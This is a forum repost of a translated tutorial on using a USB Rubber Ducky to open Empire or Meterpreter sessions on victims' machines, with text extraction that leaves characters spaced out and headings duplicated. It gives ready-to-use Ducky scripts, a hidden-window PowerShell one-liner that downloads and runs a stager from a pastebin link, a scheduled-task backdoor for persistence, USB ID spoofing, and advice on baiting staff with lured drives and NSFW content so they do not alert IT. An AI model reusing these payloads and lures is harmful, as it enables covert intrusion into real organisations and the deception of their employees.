搜索

[11632] 2017-08-06_利用USB橡皮鸭在目标机器上启动Empire或Meterpreter会话

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2017-08-06_利用USB橡皮鸭在目标机器上启动Empire或Meterpreter会话 利 用 U S B 橡 皮 鸭 在 目 标 机 器 上 启 动 E m p i r e 或 M e t e r p r e t e r 会 话 s e c i s t   F r e e B u f   2 0 1 7 - 0 8 - 0 6 今 天 我 将 教 大 家 如 何 使 用 今 天 我 将 教 大 家 如 何 使 用 R u b b e r   D u c k y 在 渗 透 中 建 立 在 渗 透 中 建 立 E m p i r e 或 或 M e t e r p r e t e r 会 话 连 接 。 然 而 对 于 会 话 连 接 。 然 而 对 于 D u c k y 而 言 ， 而 言 ， 想 要 完 成 大 多 数 现 实 场 景 中 的 想 要 完 成 大 多 数 现 实 场 景 中 的 U S B 攻 击 ， 往 往 需 要 花 费 大 量 的 时 间 去 实 践 。 本 文 概 述 了 三 种 橡 皮 鸭 速 度 的 优 化 攻 击 ， 往 往 需 要 花 费 大 量 的 时 间 去 实 践 。 本 文 概 述 了 三 种 橡 皮 鸭 速 度 的 优 化 技 术 ， 以 及 最 小 化 用 户 对 技 术 ， 以 及 最 小 化 用 户 对 D u c k y 的 异 常 检 测 。 的 异 常 检 测 。 R u b b e r   D u c k y 攻 击 向 量 攻 击 向 量 声 东 击 西 声 东 击 西 当 用 户 分 散 注 意 力 时 ， 随 手 将 D u c k y 插 入 可 访 问 的 U S B 接 口 。 优 点 ： 优 点 ： 能 有 效 将 P a y l o a d 传 递 至 目 标 系 统 ； 并 且 不 易 被 用 户 发 现 。 缺 点 ： 缺 点 ： 这 种 方 式 通 常 时 间 较 短 ， 因 此 需 要 攻 击 者 及 U S B 的 执 行 速 度 较 快 。 其 次 ， 还 需 取 决 于 对 用 户 的 欺 骗 以 及 U S B 接 口 的 访 问 方 便 与 否 。 危 险 藏 匿 危 险 藏 匿 在 一 些 办 公 场 所 故 意 丢 弃 一 个 D u c k y ， 例 如 接 待 处 ， 停 车 场 和 浴 室 等 这 些 地 方 通 常 成 功 率 都 相 当 高 。 为 了 不 引 起 怀 疑 ， 我 们 可 以 将 D u c k y 的 标 签 更 改 为 一 些 诱 人 的 内 容 。 除 此 之 外 ， 我 们 还 可 以 利 用 联 邦 快 递 来 传 送 D u c k y ， 这 将 是 一 个 很 好 的 借 口 。 优 点 ： 优 点 ： 显 而 易 见 相 对 于 上 种 方 式 ， 你 无 需 亲 自 去 冒 着 被 抓 住 的 风 险 。 当 人 们 看 到 标 有 “ 2 0 1 6 度 假 照 片 ” 的 U S B 时 ， 好 奇 心 总 能 驱 使 他 们 窥 探 。 缺 点 ： 缺 点 ： 用 户 在 插 入 U S B 时 会 紧 盯 屏 幕 ， 因 此 容 易 发 现 问 题 。 神 不 知 ， 鬼 不 觉 神 不 知 ， 鬼 不 觉
选 择 在 深 夜 时 间 绕 过 物 理 安 全 控 制 ， 潜 入 无 人 值 守 的 办 公 场 所 。 优 点 ： 优 点 ： 一 旦 成 功 则 不 易 被 用 户 发 现 ， 且 有 足 够 的 攻 击 时 间 。 缺 点 ： 缺 点 ： 风 险 巨 大 容 易 被 抓 住 。 以 上 三 种 方 式 最 常 用 的 是 前 两 种 。 可 以 看 到 这 两 种 方 式 想 要 成 功 都 必 须 有 具 备 两 个 前 提 ： 速 度 和 信 任 。 下 面 我 将 通 过 优 化 E m p i r e   s t a g e r 的 传 递 执 行 时 间 ， 并 尽 可 能 的 减 少 用 户 的 怀 疑 。 标 准 方 法 标 准 方 法 有 关 创 建 E m p i r e   s t a g e r s （ 传 输 器 ） 的 内 容 ， 请 参 阅 S t a g e r s   1 0 1 。 使 用 E m p i r e 的 s t a g e r / w i n d o w s / d u c k y ， 我 们 得 到 以 下 结 果 ： 完 成 时 间 ： 完 成 时 间 ： 约 3 8 秒 输 入 字 符 ： 输 入 字 符 ： 1   ( r )   +   1 0   ( p o w e r s h e l l )   +   1   ( E N T E R )   +   2 6 5 7   ( p a y l o a d )   +   1   ( E N T E R )   =   2 6 7 0   字 符 我 们 遇 到 的 第 一 个 问 题 是 驱 动 程 序 问 题 。 大 多 数 机 器 之 前 从 未 运 行 或 加 载 过 D u c k y （ 或 者 特 定 的 V I D / P I D ） ， 所 以 你 必 须 假 设 加 载 驱 动 程 序 ， 将 是 我 们 在 物 理 攻 击 中 相 对 耗 时 和 必 不 可 少 的 一 部 分 。 乍 一 看 ， 我 们 似 乎 可 以 选 择 直 接 从 “ 运 行 ” 框 启 动 b a s e 6 4 编 码 命 令 来 节 约 时 间 ， 但 这 是 不 可 能 的 因 为 该 框 不 会 接 受 这 么 多 的 字 符 。 声 东 击 西 ： 声 东 击 西 ： 在 在 3 秒 内 执 行 秒 内 执 行 P a s t e b i n
步 骤 步 骤 1 ： ： B A S E 6 4 解 码 解 码 S T A G E R 或 者 ， 你 也 可 以 使 用 E m p i r e 的 m u l t i / l a u n c h e r 将 B a s e 6 4 选 项 设 置 为 F a l s e 来 重 新 生 成 s t a g e r 。 步 骤 步 骤 2 ： 将 ： 将 s t a g e r 上 传 至 上 传 至 P a s t e b i n 将 B a s e 6 4 解 码 的 P o w e r S h e l l 复 制 粘 贴 至 P a s t e b i n 并 且 保 存 原 始 路 径 。 确 保 使 用 安 全 的 h t t p s 链 接 以 避 免 检 测 。 示 例 请 参 阅 ： h t t p s : / / p a s t e b i n . c o m / r a w / a n i 8 i c 5 X 步 骤 步 骤 3 ： 创 建 一 个 ： 创 建 一 个 P O W E R S H E L L 单 线 启 动 单 线 启 动 S T A G E R 我 们 使 用 最 小 选 项 “ - e p   b y p a s s ” 来 绕 过 执 行 策 略 ， 而 ’ - w   h ’ 可 以 帮 助 我 们 在 用 户 界 面 隐 藏 P o w e r S h e l l 窗 口 。 步 骤 步 骤 4 ： 时 间 调 整 ： 时 间 调 整 默 认 的 E m p i r e 时 间 （ 3 0 0 0 和 1 0 0 0 ） 非 常 的 保 守 。 通 过 对 不 同 系 统 的 测 试 ， 我 们 可 以 将 它 改 为 以 下 值 ： 步 骤 步 骤 5 ： 锁 定 ： 锁 定 U S B   V I D 和 和 P I D 要 想 进 一 步 的 隐 藏 D u c k y ， 我 们 还 需 要 修 改 U S B 的 供 应 商 I D （ V I D ） 和 产 品 I D （ P I D ） 。 因 为 我 们 只 是 执 行 键 盘 注 入 ， 所 以 让 我 们 来 欺 骗 微 软 （ 0 x 0 4 5 E ） 通 用 的 “ 键 盘 ” （ 0 x F F F 8 ） 。 你 可 以 在 这 里 下 载 到 M i c r o s o f t   v i d p i d . b i n 文 件 ， 并 将 其 内 容 另 复 制 保 存 为 v i d p i d . b i n 移 放 至 D u c k y 根 目 录 下 。 步 骤 步 骤 6 ： 整 合 ： 整 合 完 成 时 间 ： 完 成 时 间 ： 约 3 秒 输 入 字 符 ： 输 入 字 符 ： 1   ( r )   +   1 1 4   ( p a y l o a d ) +   1   ( E N T E R )   =   1 1 6   字 符 p o w e r s h e l l   - e p   b y p a s s   - w   h   - c   " I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / p a s t e b i n . c o m / r a w / a n i 8 i c 5 X ' ) " D E L A Y   5 0 0 G U I   r D E L A Y   1 0 0 $   c p   m s f t - v i d p i d . b i n   / m e d i a / P A T H / T O / D U C K Y / v i d p i d . b i n
下 载 p a s t e b i n - p a y l o a d . t x t ， 使 用 自 己 的 方 式 交 换 P a s t e b i n 链 接 。 编 译 d u c k y 有 效 载 荷 （ 更 多 信 息 ， 请 参 阅 R u b b e r   D u c k y   w i k i ） ： 危 险 藏 匿 ： 危 险 藏 匿 ： 增 加 可 信 度 增 加 可 信 度 由 于 第 二 种 方 式 涉 及 受 害 者 与 D u c k y 的 直 接 交 互 ， 因 此 攻 击 必 须 具 备 较 高 的 可 信 度 。 这 里 我 们 还 将 使 用 相 同 的 P a s t e b i n 传 送 系 统 ， 首 先 我 们 要 做 的 是 准 备 好 D u c k y   U S B 驱 动 器 。 步 骤 步 骤 1 ： 将 ： 将 R U B B E R   D U C K Y 固 件 更 新 到 固 件 更 新 到 T w i n   D u c k 擦 除 并 将 D u c k y 固 件 更 新 到 T w i n   D u c k 固 件 （ 截 止 本 文 发 布 其 版 本 为 c _ d u c k _ v 2 . 1 . h e x ） 。 有 关 更 详 细 的 固 件 更 新 说 明 请 参 阅 ： h t t p s : / / g i t h u b . c o m / h a k 5 d a r r e n / U S B - R u b b e r - D u c k y / w i k i / F l a s h i n g - d u c k y   。 1 . 安 装 d f u - p r o g r a m m e r ： 2 . 删 除 D u c k y 的 闪 存 卡 ， 并 按 下 按 钮 将 D u c k y 插 入 主 机 。 3 . 擦 除 当 前 固 件 ： 4 . 将 固 件 更 新 为 T w i n   D u c k ： 5 .   重 置 D u c k y 使 它 再 次 工 作 ： 步 骤 步 骤 2 ： 锁 定 ： 锁 定 U S B   V I D 和 和 P I D 这 里 我 们 来 模 拟 最 常 见 的 U S B 闪 存 驱 动 器 芯 片 组 ： A l c o r   M i c r o   C o r p 的 （ 0 x 0 5 8 F ） 通 用 “ F l a s h   D r i v e ” （ 0 x 6 3 8 7 ） 。 你 可 以 下 载 一 个 定 制 的 A l c o r   M i c r o   v i d p i d . b i n 文 件 ， 并 将 其 复 制 到 D u c k y 。 步 骤 步 骤 3 ： 为 你 的 驱 动 器 编 造 一 个 故 事 ： 为 你 的 驱 动 器 编 造 一 个 故 事 D E L A Y   5 0 0 G U I   r D E L A Y   1 0 0 S T R I N G   p o w e r s h e l l   - e p   b y p a s s   - w   h   - c   " I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / p a s t e b i n . c o m / r a w / a n i 8 i c 5 X ' ) " E N T E R $   j a v a   - j a r   d u c k e n c o d e r . j a r   - i   p a s t e b i n - p a y l o a d . t x t   - o   / m e d i a / P A T H / T O / D U C K Y / i n j e c t . b i n $   s u d o   a p t - g e t   u p d a t e   & &   s u d o   a p t - g e t   i n s t a l l   d f u - p r o g r a m m e r $   s u d o   d f u - p r o g r a m m e r   a t 3 2 u c 3 b 1 2 5 6   e r a s e $   s u d o   d f u - p r o g r a m m e r   a t 3 2 u c 3 b 1 2 5 6   f l a s h   - - s u p p r e s s - b o o t l o a d e r - m e m   c _ d u c k _ v 2 . 1 . h e x $   s u d o   d f u - p r o g r a m m e r   a t 3 2 u c 3 b 1 2 5 6   r e s e t $   c p   a l c o r - v i d p i d . b i n   / m e d i a / P A T H / T O / D U C K Y / v i d p i d . b i n
例 如 只 是 一 个 目 标 公 司 C F O 的 驱 动 器 ， 或 是 一 个 刚 入 公 司 的 实 习 生 的 ， 这 都 将 足 以 引 起 人 们 的 好 奇 和 窥 探 。 同 时 ， 一 个 好 的 故 事 也 将 对 下 一 步 的 成 败 起 关 键 作 用 。 步 骤 步 骤 4 ： 添 加 驱 动 标 签 ： 添 加 驱 动 标 签 在 L i n u x 中 向 F A T 1 6 驱 动 器 添 加 标 签 的 最 简 单 方 法 是 使 用 G P a r t e d 。 1 .   通 过 读 卡 器 加 载 M i c r o S D 卡 。 2 .   启 动 G P a r t e d 并 切 换 到 U S B 驱 动 器 （ 通 常 是 / d e v / s d b ） 3 .   卸 载 驱 动 器 （ 分 区 - > 卸 载 ） 4 .   右 键 单 击 并 转 到 “ 标 签 文 件 系 统 ” ， 然 后 选 择 一 个 符 合 驱 动 器 故 事 的 标 签 5 .   点 击 “ 应 用 ” 步 骤 步 骤 5 ： 进 一 步 的 伪 装 ： 进 一 步 的 伪 装 为 了 避 免 一 些 不 必 要 的 情 况 发 生 ， 例 如 用 户 将 U S B 移 交 至 I T 部 门 ， 或 拔 掉 网 线 电 源 导 致 大 面 积 的 故 障 出 现 ， 我 们 需 要 打 造 一 个 具 有 更 好 “ 用 户 体 验 ” 的 驱 动 器 。 在 驱 动 器 中 添 加 虚 拟 内 容 （ 如 图 片 ， 文 档 等 ） ， 增 加 其 可 信 度 。 （ 备 注 ： 添 加 N S F W 的 内 容 ， 使 得 受 害 者 不 太 可 能 将 驱 动 器 移 交 给 I T 部 门 ） 将 ’ i n j e c t . b i n ’ 和 ’ v i d p i d . b i n ’ 隐 藏 在 W i n d o w s 系 统 上 。 你 可 以 使 用   w i n e   a t t r i b   +   h   文 件 名 文 件 名   完 成 此 操 作 ， 但 我 发 现 将 S D 卡 加 载 到 W i n d o w s 机 器 上 手 动 隐 藏 文 件 更 加 可 靠 。 步 骤 步 骤 6 ： 使 用 之 前 的 ： 使 用 之 前 的 P A S T E B I N 方 法 设 置 注 入 方 法 设 置 注 入 A i r   G a p p e d 系 统 和 离 线 笔 记 本 电 脑 ： 从 存 储 执 行 系 统 和 离 线 笔 记 本 电 脑 ： 从 存 储 执 行 在 这 个 例 子 中 我 们 将 创 建 一 个 有 效 负 载 ， 以 在 遇 到 那 些 未 连 接 到 互 联 网 的 计 算 机 时 也 能 创 建 一 个 持 久 性 的 会 话 。 当 然 ， 这 个 有 效 载 荷 只 是 一 个 P o C 。 由 于 许 多 步 骤 与 上 述 步 骤 相 同 ， 以 下 我 只 会 说 明 每 个 步 骤 的 不 同 之 处 。 步 骤 步 骤 1 ： 将 ： 将 R U B B E R   D U C K Y 固 件 更 新 到 固 件 更 新 到 T w i n   D u c k 步 骤 步 骤 2 ： 添 加 驱 动 标 签 ： 添 加 驱 动 标 签 步 骤 步 骤 3 ： ： B A S E 6 4 解 码 解 码 E M P I R E   S T A G E R 并 将 其 上 传 到 并 将 其 上 传 到 P A S T E B I N 步 骤 步 骤 4 ： 在 ： 在 P O W E R S H E L L 中 创 建 调 度 任 务 中 创 建 调 度 任 务 b a c k d o o r . p s 1 ： 注 意 ： 注 意 ： 在 本 例 中 ， 脚 本 被 设 置 为 每 隔 6 0 秒 就 检 查 一 次 互 联 网 的 访 问 ， 但 在 实 际 环 境 中 ， 建 议 最 好 每 隔 几 个 小 时 甚 至 一 天 进 行 一 次 检 查 。 $ P S c o m m a n d   =   ' p o w e r s h e l l   - e p   b y p a s s   - w   h   - e n c   ' $ I E X P a y l o a d   =   " I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / p a s t e b i n . c o m / r a w / a n i 8 i c 5 X ' ) " $ b y t e s   =   [ S y s t e m . T e x t . E n c o d i n g ] : : U n i c o d e . G e t B y t e s ( $ I E X P a y l o a d ) $ e n c C o m m a n d   =   [ C o n v e r t ] : : T o B a s e 6 4 S t r i n g ( $ b y t e s ) $ n u l l   =   s c h t a s k s   / C r e a t e   / S C   M I N U T E   / T N   U p d a t e r   / T R   " $ P S c o m m a n d   $ e n c C o m m a n d "
步 骤 步 骤 5 ： 将 ： 将 B A C K D O O R . P S 1 添 加 到 橡 皮 鸭 添 加 到 橡 皮 鸭 为 了 尽 可 能 的 减 少 D u c k y 需 要 输 入 的 字 符 数 量 ， 我 们 将 其 重 命 名 为 “ b . p s 1 ” 。 步 骤 步 骤 6 ： 创 建 一 个 ： 创 建 一 个 P O W E R S H E L L 单 线 启 动 单 线 启 动 B A C K D O O R 我 们 需 要 找 到   D U C K Y   S D 的 挂 载 字 母 ， 程 序 首 先 会 寻 找 标 有 “ D U C K Y ” 的 驱 动 器 ， 然 后 提 取 该 驱 动 器 的 字 母 ， 并 将 P o w e r S h e l l 文 件 追 加 到 字 符 串 并 执 行 该 脚 本 。 W i n d o w s   7 - 1 0 （ （ g w m i 方 法 ） 方 法 ）   -   1 0 4 个 字 符 个 字 符 W i n d o w s   8 - 1 0 （ （ G e t - V o l u m e 方 法 ） 方 法 ）   -   9 4 个 字 符 个 字 符 步 骤 步 骤 7 ： 设 置 时 间 ： 设 置 时 间 步 骤 步 骤 8 ： 锁 定 ： 锁 定 U S B   V I D 和 和 P I D 让 我 们 再 次 来 模 拟 A l c o r   M i c r o   C o r p 的 （ 0 x 0 5 8 F ） 通 用 “ F l a s h   D r i v e ” （ 0 x 6 3 8 7 ） 。 你 可 以 在 这 里 下 载 。 步 骤 步 骤 9 ： 整 合 （ ： 整 合 （ G E T - V O L U M E 方 法 ） 方 法 ） 完 成 时 间 ： 完 成 时 间 ： 约 9 秒 输 入 字 符 ： 输 入 字 符 ：   1   ( r )   +   9 4   ( p a y l o a d ) +   1   ( E N T E R )   =   9 6   字 符 点 击 文 末 的 阅 读 原 文 下 载 G e t - V o l u m e 有 效 载 荷 ， 以 及 g w m i 版 本 。 总 结 总 结 在 此 前 我 们 使 用 默 认 的 E m p i r e   D u c k y 脚 本 ， 而 它 有 足 足 2 , 6 7 0 个 字 符 ， 并 且 执 行 所 花 费 时 间 也 达 到 了 3 8 秒 之 久 。 在 进 行 了 相 应 的 优 化 后 ， 我 们 使 用 基 于 w e b 的 E m p i r e   s t a g e r ， 将 执 行 时 间 缩 短 到 了 3 秒 ， 并 且 输 入 字 符 也 减 少 到 了 1 1 6 个 。 这 $   c p   b a c k d o o r . p s 1   / m e d i a / P A T H / T O / D U C K Y / b . p s 1 p o w e r s h e l l   - e p   b y p a s s   - w   h   - c   " . ( ( ( g w m i   W i n 3 2 _ V o l u m e   |   ?   { $ _ . L a b e l   - e q   ' D U C K Y ' } ) . D r i v e L e t t e r ) + ' b . p s 1 ' ) " p o w e r s h e l l   - e p   b y p a s s   - w   h   - c   " . ( ( ( G e t - V o l u m e   - F i l e S y s t e m L a b e l   D U C K Y ) . D r i v e L e t t e r ) + ' : b . p s 1 ' ) " D E L A Y   2 8 0 0 G U I   r D E L A Y   1 5 0 $   c p   a l c o r - v i d p i d . b i n   / m e d i a / P A T H / T O / D U C K Y / v i d p i d . b i n D E L A Y   2 8 0 0 G U I   r D E L A Y   1 5 0 S T R I N G   p o w e r s h e l l   - e p   b y p a s s   - w   h   - c   " . ( ( ( G e t - V o l u m e   - F i l e S y s t e m L a b e l   D U C K Y ) . D r i v e L e t t e r ) + ' : b . p s 1 ' ) " E N T E R
意 味 只 要 3 秒 钟 攻 击 者 就 可 以 成 功 渗 透 目 标 ， 并 且 难 以 被 发 现 。 我 们 还 学 习 到 如 何 创 建 一 个 具 有 较 高 可 信 度 和 用 户 体 验 的 U S B 驱 动 器 。 这 些 人 为 因 素 的 添 加 ， 大 大 降 低 了 检 测 和 事 件 报 告 率 。 最 后 ， 我 们 检 查 了 从 D u c k y 的 内 部 磁 盘 执 行 脚 本 的 P o C ， 即 使 计 算 机 未 连 接 到 互 联 网 时 也 能 创 建 一 个 持 久 性 的 会 话 。 以 上 讨 论 的 所 有 技 术 都 是 无 文 件 式 攻 击 ， 因 此 对 于 绕 过 A V 也 有 一 定 的 效 果 。 为 了 增 加 攻 击 的 更 加 隐 蔽 性 ， 在 这 里 我 建 议 大 家 尽 可 能 的 使 用 自 己 的 基 础 设 施 / 托 管 而 不 是 P a s t e b i n ， 因 为 许 多 这 类 比 较 知 名 的 网 站 ， 在 企 业 网 络 环 境 中 极 易 被 阻 断 和 隔 离 。 * 参 考 来 源 ： s c 0 t f r e e ， F B 小 编   s e c i s t   编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理